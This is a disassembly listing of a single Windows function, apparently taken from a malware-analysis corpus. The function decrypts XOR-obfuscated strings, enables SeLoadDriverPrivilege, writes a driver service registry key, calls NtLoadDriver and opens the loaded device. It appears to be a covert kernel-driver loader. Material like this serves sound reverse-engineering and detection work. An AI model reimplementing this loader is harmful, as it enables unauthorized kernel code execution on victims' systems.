Function at 0x1404250ac
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x670
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140547080]
xor rax, rsp
mov qword [rbp + 0x608], rax
xor edi, edi
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x4c0], rax
movabs rax, 0xa53c8beee32332e6
mov qword [rbp + 0x4c8], rax
movabs rax, 0x546b3e8b1dbdb97b
mov qword [rbp + 0x1e0], rax
movabs rax, 0xa53c8beee323419f
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2a0]
call fcn.140428f64
nop
mov qword [0x140548968], rdi
mov qword [0x140548970], rdi
mov eax, dword [0x1404e4bf4]
mov dword [rbp + 0x5f0], eax
movzx eax, word [0x1404e4bf8]
mov word [rbp + 0x5f4], ax
lea rcx, [rbp + 0x2a0]
call fcn.140422ee0
mov r15, rax
mov ebx, edi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea esi, [rdi + 0xb]
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r13d, 0x8000
mov r14d, 0xc0000004
jmp 0x140425200
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r14d
je 0x1404251be
mov r12d, 1
test eax, eax
jns 0x14042521f
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140425293
mov esi, edi
cmp dword [rbx], edi
jbe 0x140425279
mov eax, esi
imul r14, rax, 0x128
movzx edx, word [r14 + rbx + 0x2e]
add rdx, 0x30
add rdx, r14
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.140428f64
lea rcx, [rbp + 0x1f8]
call fcn.140422ee0
mov rdx, r15
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1404252ae
lea rcx, [rbp + 0x1f8]
call fcn.140422344
add esi, r12d
cmp esi, dword [rbx]
jb 0x140425225
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
test rsi, rsi
jne 0x140426bb1
mov rax, qword [0x140548638]
mov edx, 0x5a4d
mov ecx, 0x4550
cmp word [rax], dx
je 0x1404252cf
mov rsi, rdi
jmp 0x1404252dc
mov rsi, qword [r14 + rbx + 0x18]
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.140422344
jmp 0x14042528a
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
cmp dword [rsi], ecx
cmovne rsi, rdi
mov qword [rbp + 0x5c0], rsi
cmp dword [rsi], ecx
je 0x1404252fa
lea rcx, [rbp + 0x2a0]
call fcn.140422344
xor al, al
jmp 0x140426bbd
mov ebx, dword [rsi + 0x50]
mov qword [rbp + 0x5f8], rbx
mov qword [0x140548970], rbx
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x500]
call fcn.140428f98
mov r9d, ebx
lea r8, [rbp + 0x5f0]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140423b68
nop
cmp dword [rbp + 0x368], edi
je 0x140426585
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x2f8]
call fcn.140428eec
mov qword [rbp + 0x1c8], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1c8]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140425385
mov bl, r12b
jmp 0x140425407
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0x2f8]
call fcn.140429520
lea r8, [rbp + 0x1f0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14042537d
mov dword [rbp + 0x4c0], r12d
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x4c4], rax
mov dword [rbp + 0x4cc], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x4c0]
xor edx, edx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14042537d
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x2f8]
call fcn.1404294bc
test bl, bl
je 0x14042541f
mov r12d, edi
jmp 0x1404258c1
xor r8d, r8d
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x58]
call fcn.140429a20
nop
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140422ad8
nop
lea r8, [rbp]
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.14042979c
nop
lea r8, [rbp + 0x2d8]
lea rdx, [0x1404e4b84]
lea rcx, [rbp + 0x18]
call fcn.140429960
mov r14, rax
movabs r13, 0x27455fef7fcbc119
mov qword [rbp + 0x580], r13
movabs r15, 0xa53c8beee32332e6
mov qword [rbp + 0x588], r15
movabs rax, 0xbe5fede1e5763e8b
mov qword [rbp + 0x590], rax
movabs rax, 0x5cf9e110a4577e48
mov qword [rbp + 0x598], rax
movabs rax, 0xe6fb03233451622d
mov qword [rbp + 0x5a0], rax
movabs rax, 0x26508302703c1dea
mov qword [rbp + 0x5a8], rax
movabs rcx, 0x6419328a0bb8b84a
mov qword [rbp + 0x540], rcx
movabs rcx, 0xca7fff8086514093
mov qword [rbp + 0x548], rcx
movabs rcx, 0xca3abe8d8a044ae5
mov qword [rbp + 0x550], rcx
movabs rcx, 0x399a8866d6322d14
mov qword [rbp + 0x558], rcx
movabs rcx, 0xe6fb032334513e5e
mov qword [rbp + 0x560], rcx
mov qword [rbp + 0x568], rax
movups xmm0, xmmword [rbp + 0x540]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rbp + 0x550]
movups xmmword [rbp + 0xf0], xmm1
movups xmm2, xmmword [rbp + 0x560]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0xe0], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x5a0]
vmovdqa xmmword [rbp + 0x100], xmm2
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1f8]
vzeroupper
call fcn.140428f64
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1f8]
call fcn.140428f20
lea rcx, [rbp + 0x1f8]
call fcn.140422ee0
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1404255d4
mov bl, r12b
jmp 0x1404256c6
mov byte [rbp + 0x1d9], r12b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1404255cc
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1404255cc
mov byte [rbp + 0x1db], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1404255cc
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.140422ee0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1404255cc
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x1f8]
call fcn.140422344
nop
lea rcx, [rbp + 0x18]
call fcn.140422344
nop
lea rcx, [rbp + 0x2d8]
call fcn.140422344
nop
lea rcx, [rbp + 0x38]
call fcn.1404294bc
nop
lea rcx, [rbp + 0x58]
call fcn.1404294bc
test bl, bl
jne 0x140425417
mov qword [rbp + 0x540], r13
mov qword [rbp + 0x548], r15
movabs rax, 0xbe5fede1e5763e8b
mov qword [rbp + 0x550], rax
movabs rax, 0x5cf9e110a4577e48
mov qword [rbp + 0x558], rax
movabs rax, 0xe6fb03233451622d
mov qword [rbp + 0x560], rax
movabs rax, 0x26508302703c1dea
mov qword [rbp + 0x568], rax
movabs rax, 0xf33f6d0523c019af
mov qword [rbp + 0x570], rax
movabs rax, 0x1c012144e60d344c
mov qword [rbp + 0x578], rax
movabs rcx, 0x55312c8618ae9345
mov qword [rbp + 0x580], rcx
movabs rcx, 0xcb55e38d826e6e9f
mov qword [rbp + 0x588], rcx
movabs rcx, 0xd33a99929c2562ee
mov qword [rbp + 0x590], rcx
movabs rcx, 0x28978462d6223d14
mov qword [rbp + 0x598], rcx
movabs rcx, 0xb5976c51403f0d6e
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0x4f26f1672360698f
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0xf33f6d057fb37ccc
mov qword [rbp + 0x5b0], rcx
mov qword [rbp + 0x5b8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x260]
vzeroupper
call fcn.140428f64
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x260]
call fcn.140428f20
lea rcx, [rbp + 0x260]
call fcn.140422ee0
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r12b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
lea rcx, [rbp + 0x260]
call fcn.140422344
mov r12d, edi
test ebx, ebx
sete r12b
lea rcx, [rbp + 0x340]
call fcn.140422ee0
mov r13, rax
mov rbx, rdi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea r14d, [r8 + 0xb]
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r15d, 0xc0000004
jmp 0x140425940
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r15d
je 0x1404258fa
test eax, eax
js 0x1404259aa
mov r14d, edi
cmp dword [rbx], edi
jbe 0x1404259aa
mov eax, r14d
imul r15, rax, 0x128
movzx edx, word [rbx + r15 + 0x2e]
add rdx, 0x30
add rdx, rbx
add rdx, r15
lea rcx, [rbp + 0x280]
call fcn.140428f64
lea rcx, [rbp + 0x280]
call fcn.140422ee0
mov rdx, r13
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140425a95
lea rcx, [rbp + 0x280]
call fcn.140422344
inc r14d
cmp r14d, dword [rbx]
jb 0x140425950
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, rdi
mov r15d, 1
cmp r12d, r15d
ja 0x140426585
test r14, r14
je 0x140426585
mov r13d, dword [rbp + 0x360]
add r13, r14
mov qword [rbp + 8], r13
mov qword [0x140548968], r13
mov r14d, 4
mov rax, qword gs:[0x58]
mov r12, qword [rax]
mov eax, dword [r14 + r12]
cmp dword [0x140548a6c], eax
jle 0x140425ba9
lea rcx, [0x140548a6c]
call fcn.1404d1d68
cmp dword [0x140548a6c], 0xffffffff
jne 0x140425ba9
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x4c0], rax
movabs rax, 0xa53c8beee32332e6
mov qword [rbp + 0x4c8], rax
movabs rax, 0x4b2b2d840ca4b577
mov qword [rbp + 0x1e0], rax
movabs rax, 0xa53c8bee865b57c8
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
mov rbx, rdi
mov dword [rbp + 0x1c0], edi
xor r8d, r8d
xor edx, edx
jmp 0x140425af2
mov r14, qword [rbx + r15 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x280]
call fcn.140422344
jmp 0x1404259be
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
lea r9, [rbp + 0x1c0]
mov ecx, listen
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140425abc
test eax, eax
jns 0x140425b22
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140425b9d
mov r14d, edi
cmp dword [rbx], edi
jbe 0x140425b86
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.140428f64
lea rcx, [rbp + 0x1f8]
call fcn.140422ee0
lea rdx, [rbp + 0x1e0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140425e0f
lea rcx, [rbp + 0x1f8]
call fcn.140422344
add r14d, r15d
cmp r14d, dword [rbx]
jb 0x140425b29
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x140548a6c]
call fcn.1404d1d08
mov eax, dword [r14 + r12]
cmp dword [0x140548ab8], eax
jle 0x140425be2
lea rcx, [0x140548ab8]
call fcn.1404d1d68
cmp dword [0x140548ab8], 0xffffffff
jne 0x140425be2
call fcn.140423230
mov qword [0x140548aa8], rax
lea rcx, [0x140548ab8]
call fcn.1404d1d08
mov eax, dword [r14 + r12]
cmp dword [0x140548a98], eax
jle 0x140425c1b
lea rcx, [0x140548a98]
call fcn.1404d1d68
cmp dword [0x140548a98], 0xffffffff
jne 0x140425c1b
call fcn.140423628
mov qword [0x140548aa0], rax
lea rcx, [0x140548a98]
call fcn.1404d1d08
cmp qword [0x140548aa8], rdi
je 0x140426585
cmp qword [0x140548aa0], rdi
je 0x140426585
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x4c0], rax
movabs rax, 0xa53c8beee32332e6
mov qword [rbp + 0x4c8], rax
movabs rax, 0x436b6ddc0daeb26c
mov qword [rbp + 0x1e0], rax
movabs rax, 0xa53c8beee3235e8a
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea r9, [rbp + 0x11]
lea r8, [0x1404eb370]
lea rdx, [0x1404e4d20]
lea rcx, [rbp + 0x260]
call fcn.140429c38
nop
mov eax, dword [r14 + r12]
cmp dword [0x1405485a4], eax
jle 0x140425cfc
lea rcx, [0x1405485a4]
call fcn.1404d1d68
cmp dword [0x1405485a4], 0xffffffff
jne 0x140425cfc
lea rcx, [0x1405485a4]
call fcn.1404d1d08
mov ebx, reloc.WS2_32.dll_recv
mov r8d, ebx
lea rdx, [rbp + 0x1f8]
lea rcx, [0x140548580]
call fcn.1404244c8
nop
lea rcx, [rbp + 0x1a0]
call fcn.140422c8c
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x58]
mov rcx, rax
call fcn.14042979c
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x58]
call fcn.140428f20
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.140428f34
nop
lea rcx, [rbp + 0x58]
call fcn.140422344
nop
lea rcx, [rbp + 0x1a0]
call fcn.1404294bc
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3b0]
call fcn.1404d306c
lea rcx, [rbp + 0x2f8]
call fcn.140422ee0
mov dword [rsp + 0x20], r15d
lea r9d, [rbx + 0x30]
lea r8d, [rbx + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.14042801c
nop
mov r8, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x260]
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x3b0]
call fcn.140427f8c
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x38]
call fcn.140428eec
mov qword [rbp + 0x1d0], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d0]
lea edx, [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140425e31
mov bl, r15b
jmp 0x140425eb1
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.140422344
jmp 0x140425b97
mov qword [rbp + 0x258], rdi
lea rcx, [rbp + 0x38]
call fcn.140429520
lea r8, [rbp + 0x258]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140425e07
mov dword [rbp + 0x1e0], r15d
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x1e4], rax
mov dword [rbp + 0x1ec], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, ebx
lea r8, [rbp + 0x1e0]
xor edx, edx
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140425e07
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x38]
call fcn.1404294bc
test bl, bl
je 0x140425ed0
mov bl, dil
movabs r14, 0xa53c8beee32332e6
jmp 0x14042638d
xor r8d, r8d
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x580]
call fcn.140429a20
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140422ad8
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0x18]
mov rcx, rax
call fcn.14042979c
nop
lea r8, [rbp + 0x18]
lea rdx, [0x1404e4b84]
lea rcx, [rbp + 0x80]
call fcn.140429960
mov r14, rax
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x4c0], rax
movabs rax, 0xa53c8beee32332e6
mov qword [rbp + 0x4c8], rax
movabs rax, 0xbe5fede1e5763e8b
mov qword [rbp + 0x4d0], rax
movabs rax, 0x5cf9e110a4577e48
mov qword [rbp + 0x4d8], rax
movabs rax, 0xe6fb03233451622d
mov qword [rbp + 0x4e0], rax
movabs rax, 0x26508302703c1dea
mov qword [rbp + 0x4e8], rax
movabs rcx, 0x6419328a0bb8b84a
mov qword [rbp + 0x500], rcx
movabs rcx, 0xca7fff8086514093
mov qword [rbp + 0x508], rcx
movabs rcx, 0xca3abe8d8a044ae5
mov qword [rbp + 0x510], rcx
movabs rcx, 0x399a8866d6322d14
mov qword [rbp + 0x518], rcx
movabs rcx, 0xe6fb032334513e5e
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rbp + 0x510]
movups xmmword [rbp + 0x170], xmm1
movups xmm2, xmmword [rbp + 0x520]
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x4e0]
vmovdqa xmmword [rbp + 0x180], xmm2
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x390]
vzeroupper
call fcn.140428f64
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x390]
call fcn.140428f20
lea rcx, [rbp + 0x390]
call fcn.140422ee0
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140426088
mov bl, r15b
jmp 0x14042617a
mov byte [rbp + 0x1db], r15b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140426080
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140426080
mov byte [rbp + 0x1d9], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140426080
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.140422ee0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140426080
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x390]
call fcn.140422344
nop
lea rcx, [rbp + 0x80]
call fcn.140422344
nop
lea rcx, [rbp + 0x18]
call fcn.140422344
nop
lea rcx, [rbp + 0xe0]
call fcn.1404294bc
nop
lea rcx, [rbp + 0x580]
call fcn.1404294bc
movabs r14, 0xa53c8beee32332e6
test bl, bl
je 0x1404261cd
mov bl, dil
jmp 0x14042638d
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], r14
movabs rax, 0xbe5fede1e5763e8b
mov qword [rbp + 0x510], rax
movabs rax, 0x5cf9e110a4577e48
mov qword [rbp + 0x518], rax
movabs rax, 0xe6fb03233451622d
mov qword [rbp + 0x520], rax
movabs rax, 0x26508302703c1dea
mov qword [rbp + 0x528], rax
movabs rax, 0xf33f6d0523c019af
mov qword [rbp + 0x530], rax
movabs rax, 0x1c012144e60d344c
mov qword [rbp + 0x538], rax
movabs rcx, 0x55312c8618ae9345
mov qword [rbp + 0x4c0], rcx
movabs rcx, 0xcb55e38d826e6e9f
mov qword [rbp + 0x4c8], rcx
movabs rcx, 0xd33a99929c2562ee
mov qword [rbp + 0x4d0], rcx
movabs rcx, 0x28978462d6223d14
mov qword [rbp + 0x4d8], rcx
movabs rcx, 0xb5976c51403f0d6e
mov qword [rbp + 0x4e0], rcx
movabs rcx, 0x4f26f1672360698f
mov qword [rbp + 0x4e8], rcx
movabs rcx, 0xf33f6d057fb37ccc
mov qword [rbp + 0x4f0], rcx
mov qword [rbp + 0x4f8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x2d8]
vzeroupper
call fcn.140428f64
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x2d8]
call fcn.140428f20
lea rcx, [rbp + 0x2d8]
call fcn.140422ee0
mov rdx, rax
lea rcx, [rbp + 0x370]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r15b
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x2d8]
call fcn.140422344
mov byte [rbp], bl
lea r9, [rbp + 0x1f8]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x540]
call fcn.14042a78c
nop
lea rcx, [rbp + 0x458]
call fcn.140427fc0
lea rcx, [rbp + 0x458]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2f8]
call fcn.140422344
nop
lea rcx, [rbp + 0x1f8]
call fcn.140422344
nop
lea rcx, [rbp + 0x260]
call fcn.140428ccc
nop
cmp byte [rbp + 0x560], dil
jne 0x14042642e
lea rcx, [rbp + 0x500]
call fcn.140429070
nop
mov qword [rbp + 0x230], rdi
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x238]
call fcn.140428f98
nop
lea rcx, [rbp + 0x500]
call fcn.140422344
jmp 0x1404264c4
movabs rax, 0x27455fef7fcbc119
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], r14
movabs rax, 0x270a16a823e59d45
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], r14
movups xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0xd0], xmm0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140548530], rax
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x238]
call fcn.140428f98
nop
lea rcx, [rbp + 0x540]
call fcn.140422344
nop
cmp qword [rbp + 0x230], rdi
je 0x140426ba7
cmp qword [rbp + 0x248], rdi
je 0x140426ba7
lea rcx, [rbp + 0x1d8]
call fcn.14046ed24
mov eax, 0x5a4d
cmp word [0x1404e4d20], ax
jne 0x14042651c
